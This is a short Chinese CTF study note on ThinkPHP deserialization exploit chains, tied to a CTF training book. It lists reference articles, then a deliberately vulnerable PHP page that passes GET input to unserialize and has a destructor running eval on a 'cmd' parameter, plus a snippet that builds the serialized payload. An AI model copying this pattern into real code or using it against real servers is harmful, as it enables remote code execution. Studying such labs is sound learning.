[第三章 web进阶]thinkphp反序列化利用链
介绍:记录一下笔记,方便以后迅速回忆使用。
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
- 参考文章(这篇文章写的非常好):
Thinkphp 反序列化利用链深入分析
从红帽杯题目学习thinkphp 5.1反序列化利用链
常见的反序列化(先了解下原理再做)
常见的反序列化-1
- 网站
http://localhost:8808/2021/2021_2/ctf_0_1/thinkphp/ser.php
<?php
class test{
function __destruct(){
echo "destruruct..<br>";
eval($_GET['cmd']);
}
}
unserialize($_GET['u']);
?>
- Exploit构造
通过反序列化攻击,改变源码实现我们目的,原来test类未执行,现在我们让他执行.
<?php
class test{
}
$test = new test;
echo serialize($test)